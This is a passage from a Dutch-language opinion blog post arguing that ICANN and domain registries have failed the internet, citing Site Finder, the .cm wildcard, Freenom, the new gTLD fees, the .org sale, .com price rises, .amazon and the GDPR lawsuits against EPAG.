27 februari 2004, met het argument dat ICANN zijn autoriteit had overschreden door het te stoppen. De zaak werd die augustus grotendeels afgewezen, en de rest werd op 1 maart 2006 geschikt — een schikking die Verisign een nieuwe .com-registerovereenkomst gaf.\nLees die volgorde nog een keer. Het register verzilverde de namespace die het gecontracteerd was te opereren, weigerde te stoppen, werd gedwongen te stoppen, klaagde de instantie aan die het dwong, en kwam uit de schikking met een verlengd contract voor de meest waardevolle TLD die bestaat. Het houdt het nog steeds. Het is hetzelfde bedrijf dat vandaag de rootzone bewerkt en ondertekent.\nToen Deed Iedereen Anders Het Toch Het register stoppen stopte het idee niet, het verplaatste het alleen één sprong naar beneden. Als de gezaghebbende server niet zal liegen over niet-bestaan, zal de resolver dat doen.\nVanaf augustus 2006 begon Earthlink NXDOMAIN-antwoorden om te leiden naar Barefruit, die zoekpagina\u0026rsquo;s en advertenties bediende. Paxfire verkocht hetzelfde, en leidde daarnaast bepaalde getypte trefwoorden om naar betalende adverteerders. Comcast\u0026rsquo;s \u0026ldquo;Domain Helper\u0026rdquo; deed het op schaal. In het VK runden BT en Virgin Media het allebei. De economie is onweerstaanbaar vanaf de kant van een ISP: verkeerd getypte domeinen zijn gratis inventaris gegenereerd door de vingers van je eigen klanten.\nDe faalmodi waren erger dan die van Verisign, want een resolver ziet elke query, niet slechts één TLD. Barefruits implementatie kaapte NXDOMAIN voor private adresruimte, wat split-horizon-lookups en VPN-gedrag op bedrijfsnetwerken brak. Dan Kaminsky demonstreerde cross-site scripting (XSS) tegen de redirect-pagina\u0026rsquo;s zelf, want nu resolveerde elke niet-bestaande hostnaam ter wereld naar aanvaller-bereikbare HTML bediend in een context die de browser associeerde met andermans domein. Het foutgeval verzilveren had een gefaalde lookup in een XSS-oppervlak veranderd.\nDe Protocolfix Twee dingen sloten het af, en beide zijn de moeite waard op te merken want ze zijn de vorm van elke echte fix in DNS: maak de leugen detecteerbaar, maak hem dan contractueel.\nDNSSEC biedt geauthenticeerde ontkenning van bestaan. NSEC- en NSEC3-records laten een ondertekende zone bewijzen dat een naam niet bestaat, en een valideerende resolver zal een gesynthetiseerd antwoord in de plaats ervan afwijzen. Niet-bestaan hield op het ene antwoord te zijn dat niemand kon verifiëren. Het is niet waterdicht — een resolver die handtekeningen onderweg langs strippt kan het antwoord nog herschrijven, wat precies is waarom valideren op de client in plaats van de resolver vertrouwen ertoe doet, en het is het argument dat deze site al uitgebreid heeft gemaakt.\nEn ICANN, tot zijn eer, leerde deze wel. Specification 6 van de nieuwe gTLD-registerovereenkomst verbiedt wildcards, gesynthetiseerde records en redirectie voor niet-geregistreerde namen ronduit, en vereist dat gezaghebbende servers Name Error, RCODE 3 teruggeven. Elk van de 1.200 strings uit de ronde van 2012 is contractueel verboden te doen wat Verisign .com aandeed.\nDat is een echte verbetering, en het is de moeite waard precies te zijn over wat het produceerde: niet het governance-proces, maar negentien dagen zichtbare breuk in 2003 die gênant genoeg waren om een decennium later in een contract te worden geschreven.\nEn Niets Ervan Raakte De Landcodes Specification 6 bindt gTLD\u0026rsquo;s. Het bindt ze omdat ze een registerovereenkomst met ICANN tekenen, en die overeenkomst is de hefboom.\nEen ccTLD tekent niets van dien aard. Geen registerovereenkomst, geen Specification 6, geen compliancefunctie, geen vergoeding. Niets in ICANN\u0026rsquo;s regelboek bestuurt hoe een landcode-register zijn zone opereert — wat is waarom beide dingen hieronder mogelijk waren, en waarom niemand in een positie was om ze te stoppen.\nDat is niet hetzelfde als zeggen dat ICANN afwezig is, en ik wil precies zijn over waar het zit, want ik zat er twee jaar aan de ontvangende kant van.\nWat ICANN over een ccTLD houdt is de delegatie zelf. Elk NS-record, elk stukje glue, elk DS-record en elke contactwijziging voor .uk leeft in de rootzone, en de enige route naar de rootzone is een IANA-wijzigingsverzoek — geverifieerd tegen de geregistreerde administratieve en technische contacten, en verwerkt op IANA\u0026rsquo;s schema in plaats van het jouwe. Onder RFC 1591 beslist IANA ook, in laatste instantie, wie de delegatie überhaupt houdt. Herdelegaties zijn zeldzaam. Ze zijn niet hypothetisch.\nDus een landcode-register is soeverein over hoe het draait, en volledig afhankelijk van een derde partij voor alles dat in de root zichtbaar moet zijn. De momenten dat je het meest een wijziging nodig hebt om te landen — een nameserver die verhuist, een key rollover wiens DS gepubliceerd moet worden voordat de oude gaat — zijn precies de momenten dat je op de wachtrij van iemand anders wacht. Dat is een live operationele afhankelijkheid in plaats van een governance-abstractie, en het is een onderwerp voor het vervolg.\nMerk nu op wat die combinatie produceert. ICANN\u0026rsquo;s greep op een ccTLD is strak precies waar het een register dat zich gedraagt hindert, en afwezig precies waar het er een had kunnen bedwingen dat dat niet doet. Het kan je DS-record ophouden. Het kon Kameroen niet stoppen een heel top-level-domein naar een advertentiepagina te wijzen.\nDus de praktijk stopte nooit. Het verplaatste zich alleen ergens waar het contract niet reikte.\nKameroen wildcardde een heel top-level-domein om typefouten te oogsten.\nIn augustus 2006 wees het .cm-register elke niet-geregistreerde naam in de zone naar een parkeerpagina van betaalde zoeklinks. Er is niets subtiels aan het spel: .cm is .com met de o gemist, dus de doelmarkt was het dikke-vinger-percentage van de grootste TLD die bestaat, en de operator was een overheidsagentschap — ANTIC, onder Kameroens Ministerie van Post en Telecommunicatie.\nHet betaalde goed. NameJet rapporteerde meer dan $500.000 aan .cm-verkopen op de eerste dag en meer dan $2 miljoen in de eerste week; hotels.cm ging voor $81.100 in 2009. Het deed ook precies wat je zou verwachten aan de veiligheid van de zone, want inkomend typefoutverkeer is het ideale afleveringskanaal voor een vijandige download. In december 2009 beoordeelde McAfee .cm als de riskantste TLD ter wereld, met 36,7% van zijn sites beoordeeld als een risico vormend.\nVerisign werd gedwongen dezelfde truc in negentien dagen terug te draaien. Kameroen runde het jarenlang. Het verschil is niet dat de een erger was. Het verschil is dat de een een contract had getekend.\nTokelau werd het grootste landcode-domein ter wereld door namen weg te geven.\nTokelau is een Nieuw-Zeelands territorium in de Stille Zuidzee met een bevolking van ongeveer 1.500 mensen. Zijn ccTLD, .tk, werd geopereerd door Freenom, dat registraties voor niets weggaf. Tegen 2016 was het het meest-geregistreerde landcode-domein ter wereld met 31.311.498 namen — een cijfer dat, zo blijkt, uit een wereldkaart gepubliceerd door Nominet komt.\nGratis was niet gratis. Freenoms voorwaarden vereisten dat een gratis domein regelmatig verkeer droeg, en bepaalden dat als de redirect stopte met werken — of als de naam bezoekers begon te trekken die de moeite waard waren — het register het kon terugnemen en er zijn eigen advertenties op kon bedienen. Dat is de hele business, en het is eleganter dan die van Verisign. Probeer niet te raden welke namen waardevol zijn. Geef de hele namespace weg tegen nul marginale kosten, laat de wereld de waardevolle voor je ontdekken, neem die dan terug en verzilver het verkeer. Ruwweg een zesde van Tokelaus jaarinkomen kwam ervan.\nDe externaliteit landde op iedereen anders. Gratis registratie zonder verificatie is de ideale input voor bulk-misbruik — dezelfde economie als de goedkope nieuwe gTLD\u0026rsquo;s, helemaal naar nul gebracht. Tegen de tijd dat Meta een rechtszaak aanspande, waren Freenoms vijf gratis ccTLD\u0026rsquo;s — .tk, .ml, .ga, .cf, .gq — de bron van meer dan de helft van alle nieuwe phishingdomeinen die uit landcode-TLD\u0026rsquo;s kwamen.\nWat het stopte is het deel dat hier ertoe doet.\nNiet ICANN, dat geen contract en geen standing had. Niet Tokelau, dat een zesde van zijn nationale inkomen inde. Niet Nieuw-Zeeland. Meta\u0026rsquo;s advocaten, in het Northern District of California, in maart 2023, op cybersquatting- en handelsmerkclaims.\nFreenom stopte nieuwe registraties binnen dagen. Phishing afkomstig van die extensies daalde van meer dan 60% naar onder de 15%. Freenom schikte in februari 2024 en verliet de domeinbusiness, en tegen die maart maart waren ongeveer 12,6 miljoen domeinen — 99% van zijn portfolio — gestopt met resolven.\nDe juridische afdeling van één bedrijf, in één Amerikaanse rechtbank, verwijderde twaalf en een half miljoen namen van het internet. Geen governance-instantie in de geschiedenis van DNS heeft ooit zoveel autoriteit over de namespace uitgeoefend, en het deed het niet via governance.\nWat de derde keer in deze post is dat het antwoord op \u0026ldquo;wat dwingt hier werkelijk iets af\u0026rdquo; een rechtbank in Californië bleek te zijn — en de tweede keer dat de handhaving een private partij was die in zijn eigen commerciële belang handelde, wat bij die gelegenheid toevallig samenviel met dat van iedereen.\nEn .uk is ook een ccTLD. Dezelfde afwezigheid van enig contract dat bestuurt hoe de zone gerund wordt, dezelfde afwezigheid van Specification 6, dezelfde vrijheid om het te wildcarden of de namespace weg te geven. Het deed geen van beide. Het runde in plaats daarvan een misbruikproces.\nWat is waar de nette verdeling ophoudt netjes te zijn, en het is de moeite waard bewust te bederven.\nNominet runt niet alleen .uk. Het runt ook generic top-level domains — die van zichzelf, en enkele tientallen meer namens andere operators — en voor die tekent het de ICANN-registerovereenkomst net als iedereen, Specification 6 en continue monitoring inbegrepen. Op zijn eigen platform was de contractloze zone met ongeveer dertig tegen één in de minderheid.\nDus ICANN\u0026rsquo;s vereisten bereikten .uk toch. Niet door autoriteit, die het niet had, maar omdat niemand verstandig twee operationele regimes naast elkaar runt om een uitzondering voor één zone te behouden. Je bouwt het strikte ding één keer en draait alles erop.\nHet is dezelfde vorm als het OFAC-probleem eerder: ICANN\u0026rsquo;s formele bereik stopt bij het contract, en zijn werkelijke bereik gaat erna door, voortgeplant door operators voor wie overal voldoen goedkoper is dan het onderscheid onderhouden. De set registers die effectief door ICANN bestuurd worden is materieel groter dan de set die iets heeft getekend.\nDat landschap, hoe het was om te runnen, en wat er daarna met Nominet gebeurde is zijn eigen post.\nWat de vraag overlaat waar deze post vanuit verschillende richtingen bij blijft uitkomen: wanneer de contracten niet reiken, wat stopt een register werkelijk om te doen wat het wil?\nEen vervolg zal het van binnen Nominet beantwoorden — de publicatiepijplijn, EPP (het protocol dat registrars gebruiken om namen in een register te maken en te wijzigen) en de economie eronder, ondertekenen op registerschaal, en wie werkelijk een naam kan afnemen. Deze post gaat over de laag erboven, en de laag erboven komt er niet goed uit.\nHet Geld De volgende beschuldiging is eenvoudiger en heeft minder interpretatie nodig.\nHet Product Dat Ze Uitvonden In 2012 opende ICANN aanvragen voor nieuwe generic top-level domains. Iedereen kon aanvragen om een nieuwe string rechts van de punt te runnen, voor een grotendeels niet-terugbetaalbare evaluatievergoeding van $185.000.\nHet ontving 1.930 aanvragen. Dat is meer dan $350 miljoen aan evaluatievergoedingen, geïnd voordat er één string was gedelegeerd. Aanvragers die vroeg terugtrokken kregen een deel ervan terug op een glijdende schaal; het overgrote deel bleef.\nICANN beschreef de vergoeding als kostenherstel.\nToen, waar twee aanvragers dezelfde string wilden en het niet privé zouden schikken, veilde ICANN het tussen hen en hield de opbrengst, wat neerkwam op nog eens $240.590.128. Dus het programma rekende je om aan te vragen, en rekende je opnieuw om te winnen.\nStel de vraag die in 2008 gesteld had moeten worden: welk probleem loste dit op?\nDe vermelde zaak was concurrentie, keuze en innovatie. Veertien jaar later zijn de resultaten meetbaar. Ongeveer 1.200 strings werden gedelegeerd. Vanaf augustus 2026 zijn er 1.112 nieuwe gTLD\u0026rsquo;s die samen ongeveer 48,7 miljoen domeinen houden — tegen .com alleen op meer dan tien keer dat. Het gevestigde monopolie werd geen greintje verstoord. Het kreeg in plaats daarvan een prijsstijging.\nHet keuze-argument faalt op zijn eigen bewijs. 34% van de aanvragen van 2012 waren voor .brand-strings — een bedrijf dat zijn eigen handelsmerk aanvroeg, grotendeels zodat niemand anders het kon hebben. Dat zijn geen nieuwe keuzes voor wie dan ook. Veel werden helemaal nooit gebruikt. McDonald\u0026rsquo;s lanceerde nooit .mcdonalds. Intel nam .intel in ontvangst in juli 2016 en beëindigde het in november 2020, Symantec gaf .symantec twee maanden eerder op, en SC Johnson vroeg acht strings aan — .scjohnson, .raid, .glade, .off, .duck onder hen — en beëindigde toen de hele boel in januari 2022. Zes jaar na het aanvraagvenster was meer dan een op de tien nieuwe gTLD\u0026rsquo;s nog steeds niet gelanceerd, hadden 144 geen sunrise-periode bereikt, en zat L\u0026rsquo;Oréal op strings waarvoor het nooit enig plan had aangekondigd.\nDat is een hoop dode namespace. Hier is waarom het ICANN niet dwarszit.\nOnder de basisregisterovereenkomst betaalt een gTLD-operator ICANN een vaste vergoeding van $25.000 per jaar, plus $0,25 per registratie — maar pas zodra de TLD 50.000 transacties in een kwartaal passeert. Onder die drempel is er helemaal geen transactievergoeding.\nLees wat dat betekent. ICANN\u0026rsquo;s inkomen uit een top-level-domein met nul namen erin is precies hetzelfde als uit een met veertigduizend: $25.000 per jaar, elk jaar, voor een delegatie die niemand gebruikt. Een dode string is geen falen op ICANN\u0026rsquo;s boeken. Het is een annuïteit zonder supportlast.\nEr was geen financiële reden voor ICANN om te geven om of iets hiervan werkte, en het is moeilijk bewijs te vinden dat het dat deed.\nWat Het Internet In Plaats Daarvan Kreeg Het programma produceerde wel één meetbaar effect, en het is niet degene in de prospectus.\nDe nieuwe strings die wel verkochten, verkochten op prijs. Registers zonder merk en zonder natuurlijke vraag concurreerden op de enige manier die hun beschikbaar was, tegen een dollar of minder per naam, in bulk, met minimale controles. Dat is een product, en het vond zijn markt.\nInterisles studie Cybercrime Supply Chain 2025 vond dat nieuwe gTLD\u0026rsquo;s 47% van de gerapporteerde cybercrime-domeinen droegen terwijl ze 12% van de domeinmarkt uitmaakten — ruwweg een zesvoudige oververtegenwoordiging. Dezelfde studie registreerde 19,5 miljoen unieke domeinen gebruikt in aanvallen, een stijging van 126% jaar op jaar, met 7,3 miljoen ervan in bulk geregistreerd. De gemene factor die het in de meest-misbruikte domeinen identificeert, is dat ze goedkoop zijn.\nICANN creëerde geen phishing. Maar het fabriceerde 1.200 nieuwe plekken om het vanaf te doen, prijsde de toegang zo dat de enige levensvatbare strategie voor de meeste ervan volume tegen bijna-nul-kosten was, en nam een vaste vergoeding van elk ongeacht wat eruit kwam.\nHet eigen pronkstuk-falen van het programma maakt het punt beter dan enige statistiek. .sucks werd gedelegeerd aan Vox Populi, dat handelsmerkeigenaren $2.499 per naam rekende tijdens sunrise — een prijs precies gezet omdat merken die zouden moeten betalen om iemand anders te stoppen. ICANN\u0026rsquo;s reactie was om het register te melden bij de Amerikaanse Federal Trade Commission voor roofzuchtige prijzen. De FTC vond dat er geen regels waren geschonden, en merkte op dat ICANN al verschillende zorgen had genegeerd die de FTC over het nieuwe gTLD-programma had geuit.\nDat is het hele ding in één episode. ICANN ontwerpt het programma, negeert de waarschuwingen van de toezichthouder erover, delegeert de string, neemt de vergoeding, en klaagt dan bij de toezichthouder over het voorspelbare resultaat.\nAanvragen voor de volgende ronde openden in 2026. De vergoeding is $227.000.\nDe Strings Te Gevaarlijk Om Te Delegeren Nog één ding dat het programma produceerde, en deze is voor iedereen die ooit een intern netwerk heeft gebouwd.\nOrganisaties hebben altijd top-level-domeinen uitgevonden voor intern gebruik, in de veronderstelling dat een naam die publiek niet bestaat dat nooit zal. .corp. .home. .mail. .local. Kies iets, zet het in je Active Directory, niemand buiten kan het zien.\nDe ronde van 2012 stelde voor sommige daarvan echt te delegeren, op welk punt elk van die private veronderstellingen een live veiligheidsprobleem wordt: interne namen beginnen te resolven naar andermans servers, queries die vroeger faalden beginnen je interne structuur naar een register te lekken, en certificaten uitgegeven voor interne namen worden certificaten voor namen die een vreemde nu beheert.\nNiemand had het gecontroleerd. Het kwam alleen boven omdat onderzoekers maten wat er werkelijk aan de root werd gevraagd, en vonden dat .home en .corp onder de meest bevraagde strings die bestaan waren — zwaar gebruikte namen die nooit aan iemand waren gedelegeerd. ICANN\u0026rsquo;s eigen Security and Stability Advisory Committee bracht het in 2013 op, nadat de aanvragen binnen waren.\n.corp, .home en .mail zijn nooit gedelegeerd. Ze zijn nog steeds onbepaald uitgesteld, want ze delegeren zou te veel breken. Drie strings die werden aangevraagd en betaald bleken te gevaarlijk om te bestaan.\nDat is een programma dat de root uitbreidde zonder eerst vast te stellen waarmee de uitbreiding zou botsen, en het achteraf uit andermans metingen ontdekte. Als je het praktische eind hiervan wilt, is het de reden dat een interne TLD verzinnen een slecht idee is — de namespace die je verzon is alleen privé tot iemand hem verkoopt.\nHet Veilinggeld Tussen juni 2014 en juli 2016 inden die contentieveilingen die $240.590.128, ruwweg $233 miljoen na veilingkosten.\nDit is geld verkregen door stukjes van een namespace te verkopen die ICANN niet bezit en in trust houdt. Er is een verdedigbaar antwoord op wat ermee zou moeten gebeuren, en de gemeenschap zette een cross-community werkgroep op om er een te vinden.\nTerwijl die werkgroep nog zat, nam ICANN\u0026rsquo;s raad $36 miljoen van de opbrengst en stopte het in ICANN\u0026rsquo;s eigen reservefonds, dat $68 miljoen onder zijn doel liep. Niet voorgesteld — goedgekeurd. En toen de gemeenschap bezwaar maakte, was de positie die eraan voorgelegd werd dat het alternatief was dat ICANN de vergoedingen zou verhogen.\nDe werkgroep ging hoe dan ook door. De raad nam zijn aanbevelingen pas in juni 2022 aan — zes jaar na de laatste veiling, gedurende welke ICANN een kwart miljard dollar aan andermans geld hield en zichzelf $36 miljoen ervan bediende terwijl de mensen die besloten waar het voor was nog in de kamer zaten.\nDe .org-Prijsplafonds In maart 2019 stelde ICANN voor de .org-registerovereenkomst te verlengen met de prijsplafonds verwijderd. De plafonds waren het ding dat de operator van .org stopte de liefdadigheden, ngo\u0026rsquo;s en non-profits die twintig jaar te horen hadden gekregen dat .org was waar ze thuishoorden, te rekenen wat het ook maar wilde.\nPublieke inspraak liep. 3.252 opmerkingen verzetten zich tegen verwijdering. Zes steunden het. De oppositie omvatte NPR, de YMCA, C-SPAN, de National Geographic Society, AARP en de National Trust for Historic Preservation — niet de gebruikelijke domeinindustrie-commentatoren, maar precies de achterban waar .org voor bestaat.\nOp 1 juli 2019 tekende ICANN de overeenkomst. Geen publieke aankondiging. Vergelijking van de getekende tekst tegen de voorgestelde tekst toonde geen wijzigingen aangebracht in reactie op de inspraakperiode. Niet \u0026ldquo;sommige zorgen geadresseerd\u0026rdquo; — hetzelfde document.\nAls een publiek inspraakproces 542 tegen 1 kan lopen en niet één woord kan veranderen, is het geen consultatie. Het is een formaliteit die een papieren spoor produceert.\nToen De Verkoop In november 2019, vier maanden later, kondigde de Internet Society aan dat het Public Interest Registry — de non-profit-operator van .org — verkocht aan Ethos Capital, een private-equity-firma, voor $1,135 miljard.\nDe prijsplafondverwijdering is wat PIR $1,135 miljard waard maakte. Een register dat prijzen niet kan verhogen is een annuïteit. Een register dat dat wel kan is een groeibezit. ICANN had het tweede vier maanden eerder in het eerste omgezet, tegen unaniem bezwaar, en de markt had het onmiddellijk geprijsd.\nEthos Capital was in mei 2019 opgericht. Het domein ethoscapital.com werd op 8 mei 2019 geregistreerd door Fadi Chehadé, ICANN\u0026rsquo;s voormalige CEO — de week van de deadline voor ICANN-personeel om hun rapport over het verwijderen van de prijsplafonds te publiceren. Zijn naam verscheen nergens op Ethos Capitals website toen de deal werd aangekondigd. Zijn betrokkenheid werd openbaar vanwege WHOIS-data — het openbare register van wie een domein bezit, waar de volgende sectie over gaat — en de ironie schrijft zichzelf. Ethos bevestigde toen dat hij over de transactie had geadviseerd, en in juli 2020 werd hij de co-CEO ervan.\nICANN blokkeerde de verkoop uiteindelijk wel, in april 2020. Het is niet meer dan eerlijk dat vast te leggen. Het is ook niet meer dan eerlijk vast te leggen wat eraan voorafging: maanden van ICANN dat volhield dat de kwestie grotendeels buiten zijn mandaat lag, aanhoudende publieke campagnes, brieven van Amerikaanse senatoren, en ten slotte een brief van de Attorney General van Californië die ICANN van de deal afwaarschuwde en het gebrek aan transparantie rond Ethos Capital citeerde.\nICANN was hier niet de waarborg. ICANN verwijderde de plafonds die de gelegenheid creëerden, en werd zelf gestopt, op het laatste moment, door een staatsjuridische functionaris — wat nog een demonstratie is dat het echte verantwoordingsmechanisme in dit systeem Californische jurisdictie is in plaats van wat dan ook in de statuten.\nDe Verisign-Regeling Dit is dezelfde tegenpartij als de wildcard, vijftien jaar later. In oktober 2018 tekenden NTIA en Verisign Amendment 35 op de Cooperative Agreement, die de .com-prijsbevriezing ophief en stijgingen van 7% per jaar toestond in vier jaar van elke zes.\nDat was de beslissing van de Amerikaanse overheid, niet die van ICANN. Maar de stijgingen hadden nog steeds de .com-registerovereenkomst gewijzigd nodig, en dat is die van ICANN. In maart 2020 stemde ICANN in met Amendment 3 — en ernaast een bindende Letter of Intent waaronder Verisign ICANN $20 miljoen over vijf jaar betaalt vanaf 1 januari 2021, voor veiligheids- en stabiliteitswerk.\nBeide dingen werden onderhandeld voordat publieke inspraak opende. De inspraakperiode liep, was overweldigend vijandig, en veranderde niets — hetzelfde patroon als .org, in hetzelfde venster, met hetzelfde resultaat.\nNeem de structuur op eigen voorwaarden. De instantie die beslist of een monopolist prijzen mag verhogen onderhandelde, op hetzelfde moment en met dezelfde tegenpartij, een betaling aan zichzelf. Publieke inspraak kwam erna en was decoratief. Waar het geld ook aan besteed wordt, een regeling waarin de toezichthouder betaald wordt door de gereguleerde in dezelfde transactie als de prijsstijging is er een die geen competente toezichthouder zou aangaan, en het woord waar commentatoren destijds naar grepen — kickback — is het voor de hand liggende.\nGroothandel-.com is er van $7,85 naar $10,26 op gegaan, op een naam zonder technische behoefte aan een prijsstijging en zonder concurrent waar een registrant naartoe kan verhuizen.\nAcht Landen Tegen Eén Bedrijf Als je één episode wilt die toont aan wie ICANN werkelijk verantwoording aflegt, is het .amazon, en het liep zeven jaar.\nAmazon het bedrijf vroeg .amazon aan in de ronde van 2012. De Amazon Cooperation Treaty Organization maakte bezwaar — Bolivia, Brazilië, Colombia, Ecuador, Guyana, Peru, Suriname en Venezuela, acht soevereine staten wiens territorium de naam beschrijft en waarin zo\u0026rsquo;n 30 miljoen mensen leven. Hun positie was dat een gedeelde geografische en culturele naam niet het privé-eigendom van één bedrijf zou moeten worden.\nZe gebruikten het kanaal dat ICANN voor overheden biedt. Het Governmental Advisory Committee (GAC) gaf consensusadvies tegen de aanvraag, en in mei 2014 accepteerde ICANN\u0026rsquo;s raad het. De staten hadden gewonnen, via het mechanisme ontworpen voor precies dit.\nAmazon diende een Independent Review Process (IRP)-claim in.\nIn 2017 oordeelde het IRP-panel voor Amazon. Het vond dat de raad inconsistent met ICANN\u0026rsquo;s eigen statuten had gehandeld, hield dat de raad GAC-consensusadvies niet als beslissend mag behandelen, droeg het op de aanvragen op de merites opnieuw te evalueren, en beval ICANN Amazon $163.045,51 aan kosten te vergoeden.\nIn mei 2019 concludeerde ICANN dat er geen openbaar-beleidsreden was dat de aanvragen niet doorgingen. Amazon kreeg .amazon.\nLees de structuur in plaats van de uitkomst, want de uitkomst is betwistbaar en de structuur niet.\nOverheden krijgen de GAC, en de GAC adviseert. Een bedrijf krijgt het Independent Review Process, en de IRP produceert een bindende verklaring, een aanwijzing aan de raad, en een kostenveroordeling. Toen die twee kanalen frontaal ontmoetten, was de bevinding van het panel expliciet dat het gouvernementele niet beslissend is.\nDus ICANN heeft wel een werkend verantwoordingsmechanisme. Het werkte. Het werd succesvol gebruikt door een van de grootste bedrijven ter wereld om het collectieve bezwaar van acht landen omver te werpen, en ICANN betaalde zijn juridische kosten voor het voorrecht.\nDat is hetzelfde feit als het jurisdictieprobleem eerder in deze post, in andere kleren. De mechanismen zijn echt, en ze zijn gevormd zodat de partijen die zich kunnen veroorloven ze te bedienen degenen zijn die er resultaten uit halen. Acht overheden konden het adviserende kanaal niet laten kleven. Eén bedrijf liet het juridische kanaal in drie jaar werken.\nHet GDPR-Gevecht: Wat ICANN Doet Als Een Wet Op Het Van Toepassing Is Het sterkste bewijs over een instituut is niet zijn missieverklaring. Het is wat het doet de eerste keer dat een regel die het niet schreef ertegen wordt afgedwongen.\nVoor ICANN was dat moment de AVG, en het relaas is ondubbelzinnig.\nICANN ontbrak het niet aan waarschuwing. Het had, volgens The Registers telling, meer dan een decennium aan brieven die het vertelden dat WHOIS — het publiceren van de naam, het postadres, e-mail en telefoonnummer van elke domeinregistrant, aan iedereen, zonder toegangscontrole — onverenigbaar was met Europese gegevensbeschermingswetgeving. De AVG zelf werd in 2016 aangenomen met een aanloop van twee jaar juist zodat organisaties zich konden voorbereiden. ICANN arriveerde bij mei 2018 zonder conform model.\nWat het in plaats daarvan deed, in april 2018, was naar Brussel gaan en de Article 29 Working Party om een moratorium van een jaar op handhaving vragen, plus toestemming om ondertussen registrant-e-mailadressen te blijven publiceren.\nZit met wat dat verzoek werkelijk is. Geen uitstel om papierwerk in te dienen. Een verzoek dat Europese toezichthouders ermee instemmen een grondrechtenregeling niet af te dwingen tegen één organisatie en haar wereldwijde gecontracteerde partijen, voor een jaar, omdat die organisatie er niet aan toe was gekomen te voldoen. Er is geen mechanisme in de AVG om dit te verlenen. Gegevensbescherming is een grondrecht onder het Handvest; geen toezichthoudende autoriteit en niet de Europese Toezichthouder voor gegevensbescherming heeft de bevoegdheid het voor één verwerkingsverantwoordelijke op te schorten. ICANN vroeg niet om een concessie die werd onthouden. Het vroeg om iets dat niet bestaat, blijkbaar zonder te hebben vastgesteld of het bestond.\nWP29 weigerde beide vragen. ICANN\u0026rsquo;s eigen samenvatting van de bijeenkomst gaf toe dat registrant-, administratieve en technische contact-e-mailadressen geanonimiseerd moeten worden, en liet simpelweg elke vermelding weg van het moratorium dat het had gevraagd.\nToen klaagde het aan.\nOp 25 mei 2018, de dag dat de AVG van kracht werd, diende ICANN een zaak in tegen EPAG — Tucows\u0026rsquo; Duitse registrar — in Bonn. EPAG had besloten te stoppen met het verzamelen van Admin-C- en Tech-C-contactgegevens, op grond dat het verzamelen van persoonsgegevens waar het geen gebruik voor had precies was wat de AVG verbiedt. Tucows\u0026rsquo; positie was dat in de overweldigende meerderheid van registraties de registrant-, admin- en tech-contacten toch dezelfde persoon zijn, dus de verzameling was niet slechts onrechtmatig, ze was zinloos.\nICANN\u0026rsquo;s juridische theorie was dat de basis \u0026ldquo;necessary for the performance of a contract\u0026rdquo; van de AVG de verzameling dekte, want ICANN\u0026rsquo;s eigen contract met de registrar vereiste het. Dat is een opmerkelijk argument: dat een organisatie een rechtmatige basis kan fabriceren voor het verwerken van andermans persoonsgegevens door een vereiste om het te verzamelen in een contract met een derde partij te schrijven. Als het werkte, zou Artikel 6(1)(b) een formaliteit zijn die iedereen kon vervullen door te stellen.\nHet werkte niet. ICANN verloor in Bonn. Het ging in beroep. Het verloor opnieuw. In augustus 2018 wees het hof van beroep in Keulen het een derde keer af, vond de eerdere uitspraken overtuigend, hield dat er geen dreigende noodsituatie was die een verbod rechtvaardigde, en — dit is het deel dat het waard is twee keer te lezen — weigerde ICANN\u0026rsquo;s verzoek de vraag naar het Hof van Justitie van de Europese Unie te verwijzen op grond dat ICANN\u0026rsquo;s juridische interpretatie niet materieel was voor de beslissing. Het hof beschouwde het argument niet dichtbij genoeg om de moeite waard te zijn Luxemburg ernaar te vragen.\nICANN besteedde het geld van leden om de zaak hoe dan ook naar dat hof te duwen. In 2019 gaf het WHOIS volledig op.\nDe technische uitkomst was correct — WHOIS zoals het bestond had niet mogen bestaan. Maar kijk hoe het bereikt werd. Tien jaar waarschuwingen genegeerd. Een verzoek om een uitzondering van een grondrecht. Rechtszaken tegen zijn eigen gecontracteerde partij, ingediend op de dag dat de wet van kracht werd, om vast te stellen dat de wet niet gold zoals de toezichthouders zeiden dat die gold. Drie nederlagen. Toen capitulatie.\nDat is geen organisatie die een statuut verkeerd las. Het is een organisatie die niet accepteerde, tot rechtbanken het drie keer vertelden, dat de wet überhaupt aan het gericht was.\nWat Het Iedereen Anders Kostte Het meeste van deze post gaat over wat ICANN en de registers deden. Dit gaat over wie ervoor betaalde, want het waren zeer zelden zij.\nElke .com-registrant ter wereld betaalt de stijging. Groothandel-.com ging van $7,85 naar $10,26. Verisigns eigen rapportage zet de .com-basis op 163,6 miljoen namen vanaf 31 maart 2026. Vermenigvuldig de twee en die stijging is in de orde van $394 miljoen per jaar waard, genomen van elke registrant van een .com waar ook ter wereld, voor een naam die geen technische wijziging nodig had om het te rechtvaardigen. Een bedrijf in Lagos of Manila betaalt dezelfde stijging als een in Palo Alto, besloten door een Amerikaans agentschap en een Amerikaanse non-profit die $20 miljoen van de begunstigde nam in dezelfde onderhandeling.\nDe .org-beslissing landt op liefdadigheden wereldwijd. .org werd twintig jaar aan de non-profitsector verkocht als het deel van de namespace dat aan hen toebehoorde. De plafonds opheffen was een beslissing dat wie het ook runt hun mag rekenen wat het verkeer draagt. NPR en de YMCA kunnen dat absorberen. Een kleine ngo die op een subsidie werkt kan dat niet, en het werd ook niet gevraagd — 3.252 tegen, zes voor, getekend zonder een woord veranderd.\nDe misbruiklast wordt gedragen door iedereen die een mailserver runt. Nieuwe gTLD\u0026rsquo;s zijn 12% van de markt en 47% van de gerapporteerde cybercrime-domeinen. Elk van die namen arriveert in andermans inbox, andermans misbruikwachtrij, andermans fraudeverliezen. ICANN inde $185.000 per aanvraag en int $25.000 per jaar per string ongeacht. De kosten van wat de goedkope strings vervolgens produceerden vallen op elke mailoperator, elke bank, elk securityteam en elke persoon die door een phishingpagina wordt beetgenomen. Dat is een externaliteit in de leerboekbetekenis, en het programma werd ontworpen zonder een regel over wie het zou dragen.\nSite Finder brak de faalsemantiek voor de hele planeet in één keer. Dit is de moeite waard ronduit te stellen want het is makkelijk te lezen als een Amerikaans verhaal. Er is één root en één .com. Toen Verisign veranderde wat een niet-bestaande naam doet, veranderde het het voor elk netwerk ter wereld tegelijkertijd — inclusief elk netwerk zonder relatie met Verisign, zonder zeggenschap in de beslissing, en zonder uitweg behalve hun eigen resolvers patchen, wat is wat heel wat van hen uiteindelijk deden.\nWHOIS ging donker voor de mensen die het tegen misbruik gebruikten. Beide schades hier zijn echt en beide waren vermijdbaar. De naam, het adres, e-mail en telefoonnummer van elke registrant publiceren aan iedereen die ernaar vroeg was een echte, decennialange schade aan mensen 